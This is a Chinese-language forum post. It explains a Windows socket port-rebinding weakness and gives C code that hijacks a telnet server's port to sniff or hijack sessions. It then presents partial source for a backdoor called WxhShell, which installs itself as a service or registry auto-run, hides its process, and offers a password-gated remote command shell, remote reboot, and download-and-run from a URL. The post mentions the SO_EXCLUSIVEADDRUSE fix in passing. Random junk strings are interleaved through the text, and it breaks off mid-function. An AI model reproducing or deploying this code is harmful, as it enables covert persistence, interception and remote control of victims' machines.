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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zTS#o#`!\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i+eDBg6  
b 3i34,  
  saddr.sin_family = AF_INET;  njg\y  
I18<brZJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); tA]Y=U+Q  
Q2nqA1sRk  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); d+158qQOh]  
+EE(d/ f  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 W+D{4:  
Nvj0MD{ X  
  这意味着什么?意味着可以进行如下的攻击: rX@?~(^ML  
P1A5Qq  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 C!s !j  
{;E]#=|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) J^)=8cy  
"=vH,_"Ql  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^.~m4t`U  
;P!x/Ct  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  r>3y87  
1@{qPmf^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 J!@`tR-  
4+'d">+|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u:GDM   
.rs\%M|X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /w2jlu}yt  
2<33BBlWA  
  #include {}1KI+s9\  
  #include QTT2P(Pz  
  #include GBo'=  
  #include    A~%h*nZc%I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +w'He9n  
  int main() %Tm8sQ)1  
  { B7ty*)i?  
  WORD wVersionRequested; 1_0\_|  
  DWORD ret; kH}HFl  
  WSADATA wsaData; rugR>&mea  
  BOOL val; Fv T;8ik:3  
  SOCKADDR_IN saddr; :Wl`8p4]  
  SOCKADDR_IN scaddr; \+Pk"M  
  int err; n>aH7  
  SOCKET s; HlC[Nu^6U  
  SOCKET sc; m(eR Wx&pZ  
  int caddsize; Bl!R bh\  
  HANDLE mt; j=5hW.fI  
  DWORD tid;   r"\g6<RP  
  wVersionRequested = MAKEWORD( 2, 2 ); XVWVY}  
  err = WSAStartup( wVersionRequested, &wsaData ); `d6,]'  
  if ( err != 0 ) { .:V4>  
  printf("error!WSAStartup failed!\n"); PWbi`qF)r  
  return -1; odNHyJS0  
  } j#[%-nOT  
  saddr.sin_family = AF_INET; z((9vi W  
   )h,-zAnZ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j^qI~|#  
".:]? Lvt  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U Rb  
  saddr.sin_port = htons(23); [&h%T;!Qii  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g&`[r6B  
  { :elTqw>pn  
  printf("error!socket failed!\n"); kQQhZ8Ch  
  return -1; /Vy,6:$H3  
  } &L`yX/N2  
  val = TRUE; WSV[)-=:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `;H3['~$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) iyr'9BA  
  { [y(AdZ0*  
  printf("error!setsockopt failed!\n"); X Cf!xIv  
  return -1; `6QQS3fk!  
  } "pW@[2Dkx/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; TSHH=`cx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Z&Ao;=Gp1  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A!.* eIV|  
xA {1XS}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )!jX$bK  
  { &p6^    
  ret=GetLastError(); +U= !svE  
  printf("error!bind failed!\n"); RuuXDuu:VL  
  return -1; Zg~6  
  } #;~dA  
  listen(s,2); @(_f}S gfE  
  while(1) |?Bb{Es  
  { aT`. e  
  caddsize = sizeof(scaddr); 2#g4R  
  //接受连接请求 to"[r  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a-Ef$(i_  
  if(sc!=INVALID_SOCKET) $mZpX:7/u8  
  { CY i{WV(:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); bf&k:.v'8  
  if(mt==NULL) c`x[C  
  { /!HFi>   
  printf("Thread Creat Failed!\n"); 9o|#R&0  
  break; QQIU5  
  } ^":Dk5gl  
  } +KKx\m*  
  CloseHandle(mt); K}1eQS&$a  
  } M +Jcg b]  
  closesocket(s); 9 &p;2/H  
  WSACleanup(); ~sUWXw7~  
  return 0; T_1p1Sg  
  }   tpP2dg9dF  
  DWORD WINAPI ClientThread(LPVOID lpParam) {_<,5)c  
  { }$T!qMst{  
  SOCKET ss = (SOCKET)lpParam; 3PU'd^  
  SOCKET sc; 'p:L"L}Q?  
  unsigned char buf[4096]; aq<QKn U  
  SOCKADDR_IN saddr; hDc)\vzr  
  long num; [tY+P7j9)  
  DWORD val; GYM6 `  
  DWORD ret; [5O`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 k>;a5'S  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z3>oUq{  
  saddr.sin_family = AF_INET; /'g"Ys?3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); y.m;4((  
  saddr.sin_port = htons(23); EU@XLm6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )}i;OLw-  
  { Q1(6U6L  
  printf("error!socket failed!\n"); Vuu_Sd  
  return -1; 5xF R7%_&  
  } 'YUx&F cM  
  val = 100; sM8AORd  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vhaUV#V"  
  { zgR@-OtFZ  
  ret = GetLastError();  e+=IGYC  
  return -1; "=r"c$xou  
  } - yn;Jo2-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l5bd);L tq  
  { ^vH3 -A;*  
  ret = GetLastError(); ? (f44Zgm  
  return -1; b$Ch2Qz0q  
  } 6a\YD{D] _  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) OlI{VszR  
  { eg vgi?y  
  printf("error!socket connect failed!\n"); Ul?92  
  closesocket(sc); %B{NH~  
  closesocket(ss); =-GHs$u%f  
  return -1; *zR   
  } YDMimis\H5  
  while(1) baVSQtda  
  { b 7%O[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l-mf~{   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <DjFMTCN  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  ZD'fEqM  
  num = recv(ss,buf,4096,0); P Zc{wbjp&  
  if(num>0) \d)~.2$G*  
  send(sc,buf,num,0); j/9Uf|z-_  
  else if(num==0) u/8urxp y  
  break; :x<'>)6  
  num = recv(sc,buf,4096,0); kW=GFj)L  
  if(num>0) r+WY7'c  
  send(ss,buf,num,0); 1~# 2AdG  
  else if(num==0) o>'1ct  
  break; 8x J]K  
  } +5BhC9=b  
  closesocket(ss); w 9mi2=  
  closesocket(sc); '9#O#I &J  
  return 0 ; 5V{zdS=  
  } /Xd s+V^Z  
SdTJ?P+m  
<_tkd3t#W  
========================================================== 7~V,=WEe  
dq{wFI)  
下边附上一个代码,,WXhSHELL 'l}T_7g  
~<, QxFG5  
========================================================== !7O!)WJ  
_@47h86 Q  
#include "stdafx.h" $"/xi `  
3+E AMn  
#include <stdio.h> bf3Njma%  
#include <string.h> m% {4  
#include <windows.h> =tv,B3Mo  
#include <winsock2.h> CK+GD "Z$  
#include <winsvc.h> ! awfxH0  
#include <urlmon.h> AGN5=K*D  
d:"]*EZ [  
#pragma comment (lib, "Ws2_32.lib") $`emP Hel  
#pragma comment (lib, "urlmon.lib") }(r%'(.6  
DP D%8a)?  
#define MAX_USER   100 // 最大客户端连接数 fiq4|!^h  
#define BUF_SOCK   200 // sock buffer ]OZk+DU:  
#define KEY_BUFF   255 // 输入 buffer %;E/{gO  
W5_:Q @  
#define REBOOT     0   // 重启 rK%A=Q  
#define SHUTDOWN   1   // 关机 '$3]U5KOwK  
cv b:FK  
#define DEF_PORT   5000 // 监听端口 {5=Iu\e  
YYz,sR'%|}  
#define REG_LEN     16   // 注册表键长度 w< hw>e^.  
#define SVC_LEN     80   // NT服务名长度 KKd S h1  
)-_]y|/D:r  
// 从dll定义API bnz2\C9^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @k!J}O K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -];/*nl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &_^t$To  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W(oJ{R&m{  
0z2A!ap  
// wxhshell配置信息 GN4'LU  
struct WSCFG { 3f2%+2Zjt,  
  int ws_port;         // 监听端口 A?V[/  
  char ws_passstr[REG_LEN]; // 口令 #-_';Er\  
  int ws_autoins;       // 安装标记, 1=yes 0=no U9[ &ci  
  char ws_regname[REG_LEN]; // 注册表键名 k|$08EK $  
  char ws_svcname[REG_LEN]; // 服务名 S`Jo^!VJ4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :)UF#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8X@p?43  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S0\;FmLIc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7|IOn5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E*ug.nxy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K 9ytot  
^ 2"r't  
}; nVF?.c  
RnN]m!"5  
// default Wxhshell configuration JM-spi o  
struct WSCFG wscfg={DEF_PORT, ,m-z D  
    "xuhuanlingzhe", ?mJNzHrq;  
    1, +0016UgS#  
    "Wxhshell", NW'rqgG  
    "Wxhshell", K85;7R5  
            "WxhShell Service", ccc*"_45#  
    "Wrsky Windows CmdShell Service", (5s$vcK  
    "Please Input Your Password: ", fb7Gy  
  1, 0UEEvD5  
  "http://www.wrsky.com/wxhshell.exe", v)*/E'Cr*  
  "Wxhshell.exe" W0X/&v,k*  
    }; {8)Pke  
.{` :  
// 消息定义模块 =/Ob kVYf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `.dX@<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; DD3.el}6a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U[EM<5@I  
char *msg_ws_ext="\n\rExit."; TBN0uk  
char *msg_ws_end="\n\rQuit."; uT'}_2=:  
char *msg_ws_boot="\n\rReboot..."; x=g=e <_  
char *msg_ws_poff="\n\rShutdown..."; RKu'WD?sdH  
char *msg_ws_down="\n\rSave to "; tiZ5 :^$b4  
^t&S?_DSZ  
char *msg_ws_err="\n\rErr!"; Q k e8BRBn  
char *msg_ws_ok="\n\rOK!"; Bb 5|+b P  
t6GL/M4  
char ExeFile[MAX_PATH]; )[d?&GK  
int nUser = 0; 9 )1 8  
HANDLE handles[MAX_USER]; 2lVJ"jg  
int OsIsNt; q6 h'=By  
~c&ygL3  
SERVICE_STATUS       serviceStatus; 3;@/`Z_\lt  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Yv?nw-HM  
!}Sf?n P#  
// 函数声明 9`P<|(  
int Install(void); Gkz\By  
int Uninstall(void); _g|zDi^  
int DownloadFile(char *sURL, SOCKET wsh); WaY_{)x  
int Boot(int flag); yrp5\k*{y  
void HideProc(void); h0}= C_.^  
int GetOsVer(void); F)ak5  
int Wxhshell(SOCKET wsl); A>@ i TI  
void TalkWithClient(void *cs); -nVQB146^  
int CmdShell(SOCKET sock); 6w3z&5DY|  
int StartFromService(void); M#BM`2!s  
int StartWxhshell(LPSTR lpCmdLine); P.L$qe>O  
qPEtMvL #  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .TcsXYL.`,  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  pFfd6P  
J9!}8uD  
// 数据结构和表定义 OAoTsqj6  
SERVICE_TABLE_ENTRY DispatchTable[] = f)`_su U  
{ \J*~AT~5q  
{wscfg.ws_svcname, NTServiceMain}, (twwDI  
{NULL, NULL} p"A2N +  
}; KxyD{W1  
N/wUP  
// 自我安装 h<)YZ[;x  
int Install(void) k9>2d'Q  
{ ,$"*X-1  
  char svExeFile[MAX_PATH]; =Q\z*.5j.  
  HKEY key; xLxXc!{J5  
  strcpy(svExeFile,ExeFile); =L,s6J8_'  
H =Y7#{}  
// 如果是win9x系统,修改注册表设为自启动 #2`ST=#  
if(!OsIsNt) { vL>cYbJ<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _[D6 WY+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *C/bf)w  
  RegCloseKey(key); ^|u7+b'|t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8|Wu8z--  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HPz9Er  
  RegCloseKey(key); 7R4sd  
  return 0; :{:R5d(_I  
    } %sd1`1In  
  } O*;$))<wX  
} ZDMv8BP7  
else { Ri[ v(Zf  
DRp h?V\  
// 如果是NT以上系统,安装为系统服务 Mnj\t3:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9|kc$+(+6  
if (schSCManager!=0) L#t^:%   
{ 0:NCIsIm<  
  SC_HANDLE schService = CreateService RKIBFP8.  
  ( &hTe-Es  
  schSCManager, ~.FeLWP  
  wscfg.ws_svcname, "H{Et b/  
  wscfg.ws_svcdisp, 9T`$gAI  
  SERVICE_ALL_ACCESS, 9%+Nzo(Fd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D<V[:~-o  
  SERVICE_AUTO_START, Y^Of  
  SERVICE_ERROR_NORMAL, ~3f`=r3/.  
  svExeFile, EESGU(  
  NULL, +<l6!r2Z  
  NULL, %y7&~me  
  NULL, .A(QqL>  
  NULL,  Ptt  
  NULL pr\wI?:k  
  ); $w,O[PIi  
  if (schService!=0) '?j[hhfB-  
  { 2O|jVGap5x  
  CloseServiceHandle(schService); f*Z8C9)  
  CloseServiceHandle(schSCManager); p"%K(NL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i5PZ)&  
  strcat(svExeFile,wscfg.ws_svcname); Ijg //=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $#z ` R;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 49('pq?D  
  RegCloseKey(key); jN3K= MA  
  return 0; ,, 8hU7P  
    } 3shRrCL0mf  
  } }da}vR"iL  
  CloseServiceHandle(schSCManager); 35q4](o9"  
} )6~s;y!  
} 9i6z  p'  
$-J0ou8~  
return 1; bcM65pt_C  
} ,.<[iHC}9  
B=?m_4\$m  
// 自我卸载 Zqo  
int Uninstall(void) o\TXW qt  
{ y cT@ D/  
  HKEY key; L<7KmN4VX  
-0I]Sm;$  
if(!OsIsNt) { ";kwh8wB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g6AEMer  
  RegDeleteValue(key,wscfg.ws_regname); PZ#\O  
  RegCloseKey(key); +#;t.&\80N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z=[qaJ{]  
  RegDeleteValue(key,wscfg.ws_regname); r$8(Q'  
  RegCloseKey(key); V4["+Y  
  return 0; =c(t;u6m-  
  } D+nKQ4  
} 8QJ^@|7  
} "c9T4=]&t  
else { K2Z]MpLD  
/v<FH}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0uZL*4A+C  
if (schSCManager!=0) {wp~  
{ +hIC N,8!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %@,%A_So k  
  if (schService!=0) U%:K11Kr  
  { . r?URC  
  if(DeleteService(schService)!=0) { {)CN.z:O  
  CloseServiceHandle(schService); T{CCZ"Fv  
  CloseServiceHandle(schSCManager); /h]#}y j  
  return 0; qS9z0HLE  
  } (93$ L zZ  
  CloseServiceHandle(schService); b41f7t=  
  } x(]Um!  
  CloseServiceHandle(schSCManager); 'DhH:PR  
} G7qB   
} pdw;SIoC  
B[$L)y'-;  
return 1; uo TTHj7cq  
} C:9a$  
e{Y8m Xu  
// 从指定url下载文件 Jan~R ran  
int DownloadFile(char *sURL, SOCKET wsh) hZwbYvu  
{ r|ID]}w  
  HRESULT hr; }J^+66{  
char seps[]= "/"; ZRy'lW  
char *token; >)j`Q1Qc\  
char *file; rOo |.4w  
char myURL[MAX_PATH]; s7Z+--I)L  
char myFILE[MAX_PATH]; _{C =d3  
n40&4n  
strcpy(myURL,sURL); P\rA>ZY  
  token=strtok(myURL,seps); F97HFt6{  
  while(token!=NULL) )c<X.4  
  { 3oQ?VP  
    file=token; v =]!Po&Q-  
  token=strtok(NULL,seps); /8O;Q~a  
  } UhX)?'J  
Zk+c9,q  
GetCurrentDirectory(MAX_PATH,myFILE); %wQE lkB  
strcat(myFILE, "\\"); qS!U1R?s  
strcat(myFILE, file); PAy/"R9DT-  
  send(wsh,myFILE,strlen(myFILE),0); Dk^T_7{  
send(wsh,"...",3,0); }8LTYn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gucgNpX  
  if(hr==S_OK) KsDovy<  
return 0; y5/LH~&Ov  
else Hp(wR'(g&  
return 1; NY3/mS3w  
bH Nf>  
} 5OM*NT t  
lc(}[Z/|V  
// 系统电源模块 Gl6M(<f\5  
int Boot(int flag) VBN=xg}  
{ <hBd #J  
  HANDLE hToken; dcH@$D@~S  
  TOKEN_PRIVILEGES tkp; ^Z>Nbzr{  
kQ99{l H,5  
  if(OsIsNt) { &~&oB;uR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cna/?V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B1k;!@@1 4  
    tkp.PrivilegeCount = 1; }8Yu"P${Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ..fbRt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `L m9!?  
if(flag==REBOOT) { 'E)g )@^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #JYH5:*  
  return 0; ?m\? #  
} K 9tr Iy$v  
else { -%ftPfm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F T$x#>  
  return 0; ^JY,K  
} 7?p>v34A  
  } Vv_lBYV  
  else { =`OnFdI  
if(flag==REBOOT) { l_i&8*=Px  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J,D^fVIw  
  return 0; QIC? `hk1  
} fA"9eUu  
else { %hVI*p3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~[Z,:=z  
  return 0; mO0}Go8  
} .YlhK=d4  
}  _W  
$g!iy'4n*  
return 1; {:TOm0eK  
} 7srq~;j3  
560`R>  
// win9x进程隐藏模块 bWg!/K55  
void HideProc(void) R*l3 zn>  
{ 1'!%$D  
Lk]W?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6FFM-9*|[  
  if ( hKernel != NULL ) fn, YH  
  { 71c(Nw~iQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B&"c:)1 C2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &l~9FE *  
    FreeLibrary(hKernel); EQVa8xt/C  
  } E[Bj+mX9  
$Ned1@%[  
return; c@x6<S%*  
} }q=tg9  
$QnsP#ePN  
// 获取操作系统版本 6 2LLfD  
int GetOsVer(void) W.^R/s8O%5  
{ T-y5U},  
  OSVERSIONINFO winfo; P*/ig0_fM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9;ie[sU:u  
  GetVersionEx(&winfo); fbW<c`LH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]VoJ7LoCZ'  
  return 1; "J{A}g[  
  else [8'^"  
  return 0; ]Q -.Y-J/O  
} z,g\7F[  
>9,LN;Ic  
// 客户端句柄模块 ,0aRHy_^  
int Wxhshell(SOCKET wsl) /pL'G`  
{ w3FEX$`_  
  SOCKET wsh; R,`3 SW()  
  struct sockaddr_in client; "eIE5h  
  DWORD myID; TGZr [  
e3WEsD+  
  while(nUser<MAX_USER) v9 8s78  
{ F./P,hhN9  
  int nSize=sizeof(client); "h:#'y$V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hu 5o{8[  
  if(wsh==INVALID_SOCKET) return 1; ~_|CXPiQ8  
`k -|G2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a,eEP43dn  
if(handles[nUser]==0) scPvuHzl  
  closesocket(wsh); a)' P/P  
else d0YQLh  
  nUser++; v+W4wD  
  } sMcN[r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U nS|""  
tja7y"(]  
  return 0; {yM@3v~  
} T~~K~a \8  
3 (F+\4aRm  
// 关闭 socket {Z}zT1kA  
void CloseIt(SOCKET wsh) < 49\B  
{ M%2w[<-8c  
closesocket(wsh); iCy$ rC  
nUser--; gp-rTdN  
ExitThread(0); }1|FES  
} W#foVAi .  
\{54mM~  
// 客户端请求句柄 u@T,8  
void TalkWithClient(void *cs) EMf"rGXu(  
{ A5~OHmeK  
il7gk<  
  SOCKET wsh=(SOCKET)cs; ,"f2-KC4h  
  char pwd[SVC_LEN]; >2mV {i&  
  char cmd[KEY_BUFF]; fJ;1ii~  
char chr[1]; pg3h>)$/  
int i,j; S$qpClXS,  
O )INM  
  while (nUser < MAX_USER) { UB]]oC<  
vvP]tRZ  
if(wscfg.ws_passstr) { Bkdt[qDn5P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -H$C3V3]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3aFD*S  
  //ZeroMemory(pwd,KEY_BUFF); > QK"r7f/  
      i=0; pDt45   
  while(i<SVC_LEN) {  g:?p/L  
_+d*ljP)l3  
  // 设置超时 xzBUm  
  fd_set FdRead; Qb@i_SX(fs  
  struct timeval TimeOut; ^4=%~Yx  
  FD_ZERO(&FdRead); c3J12+~;  
  FD_SET(wsh,&FdRead); <%m$ V5h  
  TimeOut.tv_sec=8; Z L'krV  
  TimeOut.tv_usec=0; :`Xg0J+P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |H;+9(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s,~g| I\  
h"dn:5G:=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N a<);Pg  
  pwd=chr[0]; ?pV!`vp^{  
  if(chr[0]==0xd || chr[0]==0xa) { yUvn h  
  pwd=0; 0A F}wz>  
  break; \Z_29L w=  
  } x<=R?4@rq  
  i++; g5t`YcL  
    } .}n\c%&  
|9]_<X[ic  
  // 如果是非法用户,关闭 socket Ie/dMB=t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V(0V$&qipc  
} ?L6pB]l8b  
< mp_[-c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v8>bR|n5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Amv:dh  
O|*-J  
while(1) { t>eeOWk3  
Tb!jIe  
  ZeroMemory(cmd,KEY_BUFF); 7Jn%c<s  
%jxeh.B3B  
      // 自动支持客户端 telnet标准   5RR4jX]  
  j=0; ageTv/  
  while(j<KEY_BUFF) { r tH #j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^AC2  zC  
  cmd[j]=chr[0]; ,YF1* 69  
  if(chr[0]==0xa || chr[0]==0xd) { KdC'#$  
  cmd[j]=0; mJ+mTA5bW  
  break; =}2k+v-B  
  } {11xjvAD  
  j++; mj&$+zM>  
    } =a(]@8$!1  
PBgU/zVn  
  // 下载文件 w/@ tH  
  if(strstr(cmd,"http://")) { *V{Y.`\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KB8_yo{y  
  if(DownloadFile(cmd,wsh)) yo :63CPP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C wwZ~2  
  else Z=s.`?Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (PSL[P  
  } w 9C?wT  
  else { "/d  
f'O cW* t  
    switch(cmd[0]) { ov,[F< GT  
  &)!4rABn  
  // 帮助 _J>!K'Dz  
  case '?': { .Xk#Cwm'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~;0W +  
    break; ^a=V.  
  } 7myYs7N8[  
  // 安装 r+,JM L   
  case 'i': { t_ id/  
    if(Install()) FA1h!Vit  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9ZI^R/*Kc  
    else #M|q}jA|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K,dEa<p  
    break; G x{G}9  
    } nT=XWM  
  // 卸载 ~xf uq{L;  
  case 'r': { KU;J2Kt  
    if(Uninstall()) [H {2<!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Yr&vX/[p  
    else _eUd RL>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |J:m{  
    break; r)oR `\7  
    }  BF /4  
  // 显示 wxhshell 所在路径 -V=,x3Zew  
  case 'p': { r}-vOPn`E  
    char svExeFile[MAX_PATH]; smHQ'4x9  
    strcpy(svExeFile,"\n\r"); 1Sd<cOEd  
      strcat(svExeFile,ExeFile); pI( H7 (  
        send(wsh,svExeFile,strlen(svExeFile),0); - @tL]]  
    break; ;OSEMgB1  
    } TbgIr  
  // 重启 U+:Mu]97  
  case 'b': { [E9)Da_)i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JN3&(t  
    if(Boot(REBOOT)) #Ht;5p>5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ko6[Ej:TBo  
    else { {~ 1 ~V  
    closesocket(wsh); 5W(`lgVs,  
    ExitThread(0); &<t`EI];)4  
    } =1zRm >m  
    break; |l:,EA_v|  
    } fHXz{,?/w  
  // 关机 U _~r0  
  case 'd': { 8}?w %FsN#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !&pk^VFl+  
    if(Boot(SHUTDOWN)) W$:D#;jz`h  
